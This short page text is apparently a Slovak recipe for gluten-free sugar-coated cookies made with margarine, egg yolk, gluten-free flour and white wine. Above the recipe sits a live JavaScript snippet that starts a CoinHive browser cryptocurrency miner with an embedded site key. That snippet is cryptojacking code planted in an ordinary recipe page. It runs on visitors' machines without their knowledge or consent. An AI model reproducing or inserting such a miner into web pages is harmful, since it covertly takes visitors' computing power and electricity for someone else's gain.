

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



1 margarín (Palmarín), 1 žltok, 300 g bezlepkovej múky (Promix PK špeciál), 7 PL bieleho vína, práškový cukor + vanilkový cukor na obaľovanie

Postup: Všetky suroviny dáme do misy a rukami z nich spracujeme cesto. Cesto vyvalkáme na hrúbku 0,5 cm a formičkami vykrajujeme koláčky. Poukladáme na vymastený plech a pečieme 5-10 minút pri 180°C, kým nezružovejú. Treba dávať pozor, aby neprihoreli. Ešte horúce obalíme v cukrovej zmesi.